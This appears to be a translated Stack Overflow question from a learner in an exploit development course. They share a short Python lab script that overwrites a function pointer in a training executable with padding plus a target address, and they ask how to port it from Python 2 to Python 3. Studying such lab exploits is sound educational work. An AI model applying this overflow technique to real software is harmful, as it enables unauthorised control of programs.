【发布时间】:2019-02-17 04:20:58
【问题描述】:
我正在学习 Pluralsight 上的 Exploit Development 课程,并且在我目前所在的实验室中,我们正在进行基本的函数指针覆盖。用于实验室的 python 脚本本质上运行目标可执行文件,输入以“jackpot”函数的内存地址结尾的 24 字节字符串。代码如下:
#!/usr/bin/python
import sys
import subprocess
import struct
# 20+4+8+4=36 would overwrite 'r', but we only want to hit the func ptr
jackpot = 0x401591
# we only take 3 of the 4 bytes because strings cannot have a null,
# but will be null terminated terminated to complete the dword address
jackpot_packed = struct.pack('L', jackpot)[0:3]
arg = "A" * 20
arg += jackpot_packed
# or
# arg += "\x91\x15\x40"
subprocess.call(['functionoverwrite.exe', arg])
脚本运行时没有错误,并且使用 python 2.7.8 可以正常工作,但使用 3.7.2 时出现此错误:
Traceback(最近一次调用最后一次): 文件“c:/Users/rossk/Desktop/Pluralsight/Exploit Development/03/demos/lab2/solution/solution.py”,第 14 行,在 arg += jackpot_packed TypeError:只能将str(不是“字节”)连接到str
所以我尝试注释掉“arg += jackpot_packed”表达式并改用“arg +=”\x91\x15\x40”,但显然这不会产生相同的字符串,因为当我运行脚本,目标可执行文件在不调用累积奖金函数的情况下崩溃。
我正在寻找一种方法来为 python 3 修复此程序。如何重写此代码以使其适用于 3.x?
【问题讨论】:
-
可能重复:stackoverflow.com/questions/46259640/…,这可能会对您有所帮助。
标签: python python-3.x python-2.7